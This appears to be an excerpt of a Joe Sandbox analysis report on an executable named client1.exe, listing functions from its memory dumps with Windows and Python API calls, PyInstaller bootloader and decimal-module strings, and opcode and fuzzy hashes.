Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\client1.exe
API String ID: 3580290477-3981961939
Opcode ID: 3943842da798c31a181edbdfd7e827be925f8530d91395b67a93139410b16115
Instruction ID: c7243760c77a5a2ba2524ef3bb143f7c618380d230a22ee2f67c0ac2cee44451
Opcode Fuzzy Hash: 3943842da798c31a181edbdfd7e827be925f8530d91395b67a93139410b16115
Instruction Fuzzy Hash: 27415F32A08B9285EB24FF35D4800F8A7AAFF45794BD44039E96E43B85EF7DE4418760

Function 00007FF79F63C108 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF79F63C21F
GetLastError.KERNEL32 ref: 00007FF79F63C241

Strings

U, xrefs: 00007FF79F63C1CB

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4134df34369bde334de186fcdf44a7df93ab1702ff4cc21259579c47d67cfea1
Instruction ID: d8288a821d60d807d24e101a889977289f27ecd64d153d6bd9ca5533d84db7b9
Opcode Fuzzy Hash: 4134df34369bde334de186fcdf44a7df93ab1702ff4cc21259579c47d67cfea1
Instruction Fuzzy Hash: 6941BF22A18B8186EB30AF65E8443E9B7AAFB88794F804131EE5D87798DF7CD441C750

Function 00007FF79F63E508 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF79F63E548
GetCurrentDirectoryW.KERNEL32 ref: 00007FF79F63E59A

Strings

:, xrefs: 00007FF79F63E55E

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c96ce3ad044416fb9599911189556e1cf2cbbd82c862d3c5499b8d6e200c136e
Instruction ID: a1c1ac3e35cef5dca5b2dffa328874262bdb24a07ee44c6fa033a46e3c123853
Opcode Fuzzy Hash: c96ce3ad044416fb9599911189556e1cf2cbbd82c862d3c5499b8d6e200c136e
Instruction Fuzzy Hash: CC21E362A087C281EB30AB21D4542ADB3BBFB94B84FC54035C6AC43284DFBDE5498771

Function 00007FF79F622880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F622951
MessageBoxA.USER32 ref: 00007FF79F62296D

Strings

Error detected, xrefs: 00007FF79F622925, 00007FF79F62295F

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 412921116a21d042ea7cc01f3b6226aa372ad23cfa1aaecee88db1efd33321aa
Instruction ID: 05cd645ff5f888422db5e4e7115e06dcb47c015c2c7129efa72a60483e0df11d
Opcode Fuzzy Hash: 412921116a21d042ea7cc01f3b6226aa372ad23cfa1aaecee88db1efd33321aa
Instruction Fuzzy Hash: 792153726287C291FA30AB20F4517EAA359FB84788FC05135EA9D47A95DF3CD205C751

Function 00007FF79F622770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F622841
MessageBoxA.USER32 ref: 00007FF79F62285D

Strings

Fatal error detected, xrefs: 00007FF79F622815, 00007FF79F62284F

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: f7448773671dbda672e22a82cfe80c2e0aa70ed18289780b2b9e604a2b102c49
Instruction ID: 79b571e26da2bfd48c070471a7e58d0411b39622869149dfb16ba3604a0de879
Opcode Fuzzy Hash: f7448773671dbda672e22a82cfe80c2e0aa70ed18289780b2b9e604a2b102c49
Instruction Fuzzy Hash: 3C21B5726287C291EB30BB20F8517EAA359FB84788FC00135E69D47A95DF3CD205C751

Function 00007FF79F62EFB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF79F62EFF4
RaiseException.KERNEL32 ref: 00007FF79F62F03A

Strings

csm, xrefs: 00007FF79F62F027

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: a9ac3328ea6075577af066dd04772514ea360050604432a87b0551bd96b2ca6b
Instruction ID: 9d94cc3acb5f3c85cba13d30bb3129c537d7161fd2bf0c3510a608b2a8661950
Opcode Fuzzy Hash: a9ac3328ea6075577af066dd04772514ea360050604432a87b0551bd96b2ca6b
Instruction Fuzzy Hash: 6B115432618B8182EB219F25F5402D9B7A9FB88B94F584234EF9C47754DF3DD551C710

Function 00007FF79F63F00C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63F03C
GetDriveTypeW.KERNEL32 ref: 00007FF79F63F07C

Strings

:, xrefs: 00007FF79F63F065

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: f8eec6a66f3a594e824ddea09938586a7cad5545a492e04bdbecb8d953b03adc
Instruction ID: f6a196918b46ec67a83ca2aae2117e4ea2a4506a7808c67bb6a2d9dc34037f39
Opcode Fuzzy Hash: f8eec6a66f3a594e824ddea09938586a7cad5545a492e04bdbecb8d953b03adc
Instruction Fuzzy Hash: 2601D42292C38286FB35BF74A8612FEA3A9EF44708FC41135D56C82285DF6CE544DA24

Analysis Process: client1.exePID: 6776, Parent PID: 4052COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	823
Total number of Limit Nodes:	22

Executed Functions

Function 00007FF79F645D6C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79F645AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645AE1
Part of subcall function 00007FF79F645AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645B5F
Part of subcall function 00007FF79F645AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645BB0

CreateFileW.KERNEL32 ref: 00007FF79F645E72
CreateFileW.KERNEL32 ref: 00007FF79F645EC2
GetLastError.KERNEL32 ref: 00007FF79F645EF2
GetFileType.KERNEL32 ref: 00007FF79F645F07
GetLastError.KERNEL32 ref: 00007FF79F645F11
CloseHandle.KERNEL32 ref: 00007FF79F645F44
CloseHandle.KERNEL32 ref: 00007FF79F6460A7
CreateFileW.KERNEL32 ref: 00007FF79F6460DC
GetLastError.KERNEL32 ref: 00007FF79F6460EB

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: f9714f3a8e10acd42ca2d2c5b2c2c8a966f4ca54d5d677232d284773bb45134f
Instruction ID: 0ea52da5d498d6fa947fcb687aec398ebf56143a13dc56fbb48df1efb45d6f64
Opcode Fuzzy Hash: f9714f3a8e10acd42ca2d2c5b2c2c8a966f4ca54d5d677232d284773bb45134f
Instruction Fuzzy Hash: B3C1A032B24B8286EB20FF75C4906ECB76AEB49B98B810235DA2E577D5CF39D451C710

Function 00007FFBAA70DE38 Relevance: 198.4, APIs: 78, Strings: 35, Instructions: 663COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON311 ref: 00007FFBAA70DF71
PyType_Ready.PYTHON311 ref: 00007FFBAA70DF86
PyType_Ready.PYTHON311 ref: 00007FFBAA70DF9B
PyType_Ready.PYTHON311 ref: 00007FFBAA70DFB0
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA70DFC5
PyDict_SetItemString.PYTHON311 ref: 00007FFBAA70DFE8
PyDict_SetItemString.PYTHON311 ref: 00007FFBAA70E007
PyImport_ImportModule.PYTHON311 ref: 00007FFBAA70E026
PyObject_GetAttrString.PYTHON311 ref: 00007FFBAA70E042
PyObject_CallMethod.PYTHON311 ref: 00007FFBAA70E070
PyObject_GetAttrString.PYTHON311 ref: 00007FFBAA70E096
PyImport_ImportModule.PYTHON311 ref: 00007FFBAA70E0D4
PyObject_CallMethod.PYTHON311 ref: 00007FFBAA70E10A
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA70E127
PyDict_SetItemString.PYTHON311 ref: 00007FFBAA70E151
PyImport_ImportModule.PYTHON311 ref: 00007FFBAA70E170
PyObject_GetAttrString.PYTHON311 ref: 00007FFBAA70E18C
PyObject_CallFunction.PYTHON311 ref: 00007FFBAA70E1BF
PyModule_Create2.PYTHON311 ref: 00007FFBAA70E215
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E23F
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E265
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E287
PyErr_NewException.PYTHON311 ref: 00007FFBAA70E2A9
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E2CF
PyTuple_New.PYTHON311 ref: 00007FFBAA70E2E2
PyTuple_Pack.PYTHON311 ref: 00007FFBAA70E33E
PyErr_NewException.PYTHON311 ref: 00007FFBAA70E35A
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E386
PyTuple_Pack.PYTHON311 ref: 00007FFBAA70E3F0
PyErr_NewException.PYTHON311 ref: 00007FFBAA70E40C
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E438
PyObject_CallObject.PYTHON311 ref: 00007FFBAA70E465
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E48B
PyContextVar_New.PYTHON311 ref: 00007FFBAA70E4A2
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E4D3
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E4FC
PyObject_CallObject.PYTHON311 ref: 00007FFBAA70E50F
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E59A
PyObject_CallObject.PYTHON311 ref: 00007FFBAA70E5AD
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E613
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAA70E635
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E650
PyUnicode_InternFromString.PYTHON311 ref: 00007FFBAA70E693
PyModule_AddObject.PYTHON311 ref: 00007FFBAA70E6C2
PyModule_AddStringConstant.PYTHON311 ref: 00007FFBAA70E6F3
PyModule_AddStringConstant.PYTHON311 ref: 00007FFBAA70E715
PyTuple_Pack.PYTHON311 ref: 00007FFBAA70E754
PyTuple_Pack.PYTHON311 ref: 00007FFBAA70E779
PyTuple_Pack.PYTHON311 ref: 00007FFBAA70E7AC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA716701
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA716728
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA716742
fputc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA716750

Part of subcall function 00007FFBAA70E7B8: PyErr_Format.PYTHON311(?,?,?,?,00007FFBAA70DF14), ref: 00007FFBAA71699A

_Py_Dealloc.PYTHON311 ref: 00007FFBAA71675F
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71676E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71677A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716786
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716795
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7167A1
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7167AD
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7167B9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7167C8
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71681E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716832
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71684A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71686D
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716882
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716897
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7168AB
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7168CA
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7168E9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716908
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716927
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716946
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716965
_Py_Dealloc.PYTHON311 ref: 00007FFBAA716979

Strings

ExtendedContext, xrefs: 00007FFBAA70E5D7
__libmpdec_version__, xrefs: 00007FFBAA70E70B
HAVE_THREADS, xrefs: 00007FFBAA70E4E8
namedtuple, xrefs: 00007FFBAA70E103
HAVE_CONTEXTVAR, xrefs: 00007FFBAA70E4BF
BasicContext, xrefs: 00007FFBAA70E53E
mpd_setminalloc: ignoring request to set MPD_MINALLOC a second time, xrefs: 00007FFBAA716731
register, xrefs: 00007FFBAA70E069
decimal.DecimalException, xrefs: 00007FFBAA70E29C
__module__, xrefs: 00007FFBAA70DFDE, 00007FFBAA70DFFD, 00007FFBAA70E140
D:\a\1\s\Modules\_decimal\libmpdec\context.c, xrefs: 00007FFBAA71670D
2.5.1, xrefs: 00007FFBAA70E701
sign digits exponent, xrefs: 00007FFBAA70E0E6
1.70, xrefs: 00007FFBAA70E6E2
Decimal, xrefs: 00007FFBAA70E235
bit_length, xrefs: 00007FFBAA70DF2B
decimal_context, xrefs: 00007FFBAA70E49B
%s:%d: warning: , xrefs: 00007FFBAA716717
__version__, xrefs: 00007FFBAA70E6EC
DecimalException, xrefs: 00007FFBAA70E2C2
collections.abc, xrefs: 00007FFBAA70E169
(ss), xrefs: 00007FFBAA70E0FC
MutableMapping, xrefs: 00007FFBAA70E182
Number, xrefs: 00007FFBAA70E038
DecimalTuple, xrefs: 00007FFBAA70E0F0, 00007FFBAA70E27A
s(OO){}, xrefs: 00007FFBAA70E1B8
as_integer_ratio, xrefs: 00007FFBAA70DF08
DefaultContext, xrefs: 00007FFBAA70E47E
decimal, xrefs: 00007FFBAA70DFBE, 00007FFBAA70E120
numbers, xrefs: 00007FFBAA70E01F
(O), xrefs: 00007FFBAA70E062
collections, xrefs: 00007FFBAA70E0CD
SignalDict, xrefs: 00007FFBAA70E1AC
Rational, xrefs: 00007FFBAA70E08C
Context, xrefs: 00007FFBAA70E25B

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Module_Object$String$Object_$CallTuple_$Pack$Err_FromReadyType_$AttrDict_ExceptionImportImport_ItemModuleUnicode___acrt_iob_func$ConstantMethod$ContextCreate2FormatFunctionInternLong_Ssize_tVar_fputc
String ID: %s:%d: warning: $(O)$(ss)$1.70$2.5.1$BasicContext$Context$D:\a\1\s\Modules\_decimal\libmpdec\context.c$Decimal$DecimalException$DecimalTuple$DefaultContext$ExtendedContext$HAVE_CONTEXTVAR$HAVE_THREADS$MutableMapping$Number$Rational$SignalDict$__libmpdec_version__$__module__$__version__$as_integer_ratio$bit_length$collections$collections.abc$decimal$decimal.DecimalException$decimal_context$mpd_setminalloc: ignoring request to set MPD_MINALLOC a second time$namedtuple$numbers$register$s(OO){}$sign digits exponent
API String ID: 2210023312-630389593
Opcode ID: 82cadfb3d86e8010ec5de67c75d19b610295d7370cadf0ded26554864ad2c3d9
Instruction ID: bf0de3b00c253d75e54a51d5f42226cce38df67bc0a0d214b04a4a9accd14fc6
Opcode Fuzzy Hash: 82cadfb3d86e8010ec5de67c75d19b610295d7370cadf0ded26554864ad2c3d9
Instruction Fuzzy Hash: 7B62E7A1A0BA42C1EB168F35E8541B66BECBF44B95F4451B6CE4D12374DF3DA54BC320

Function 00007FF79F6217B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fread_nolock.LIBCMT ref: 00007FF79F62185C
_fread_nolock.LIBCMT ref: 00007FF79F62190E

Part of subcall function 00007FF79F62F370: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F384

Part of subcall function 00007FF79F622770: MessageBoxW.USER32 ref: 00007FF79F622841

Strings

Cannot read Table of Contents., xrefs: 00007FF79F621995
fseek, xrefs: 00007FF79F621836
Could not read full TOC!, xrefs: 00007FF79F621919
Failed to read cookie!, xrefs: 00007FF79F621867
Error on file., xrefs: 00007FF79F62193D
fread, xrefs: 00007FF79F62186E
malloc, xrefs: 00007FF79F6218EA
Could not allocate buffer for TOC!, xrefs: 00007FF79F6218E3
MEI, xrefs: 00007FF79F6217EF
Failed to seek to cookie position!, xrefs: 00007FF79F62182F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _fread_nolock$Message_invalid_parameter_noinfo
String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 2153230061-4158440160
Opcode ID: 9101801a2d3ac821dc45f3c210c6535dcaecc234eedfce769c1e2387d8d123d1
Instruction ID: 9aac773805030bf4195233d69171114b75a8bd81207c8e60e0cba850760d5a67
Opcode Fuzzy Hash: 9101801a2d3ac821dc45f3c210c6535dcaecc234eedfce769c1e2387d8d123d1
Instruction Fuzzy Hash: DF516F72A1978286EF24EF38D8901F8A3AAEB48B58B914135D92CC7395DF3CE540C751

Function 00007FFBAB498382 Relevance: 18.1, APIs: 12, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFBAB494110: PyUnicode_FromStringAndSize.PYTHON311 ref: 00007FFBAB49420C
Part of subcall function 00007FFBAB494110: PyUnicode_InternInPlace.PYTHON311 ref: 00007FFBAB494225

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4983E6
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49841A
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49842E
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49844D
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49846C
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49848B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4984AA
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4984C9
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4984E8
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498507
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498526
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498545

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Unicode_$FromInternPlaceSizeString
String ID:
API String ID: 2745024575-0
Opcode ID: 9280ec3cdcc7626997776a9e16dcb55bba6354dcabd47e52aff5645139c6f96c
Instruction ID: d3403f8b0bf425239996109e2c451bc87dbef244298a3c8a0a6c4d815c4a1723
Opcode Fuzzy Hash: 9280ec3cdcc7626997776a9e16dcb55bba6354dcabd47e52aff5645139c6f96c
Instruction Fuzzy Hash: 26519CF5E0BA1281EE579FBAE99417877E4AF48BA0F04C13CCD7E42670DE2DA4648351

Function 00007FF79F6212B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fseek, xrefs: 00007FF79F621319
Failed to extract %s: failed to open archive file!, xrefs: 00007FF79F6212E2
malloc, xrefs: 00007FF79F621353
fread, xrefs: 00007FF79F6213E9
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79F6213E2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79F621312
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF79F62134C

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
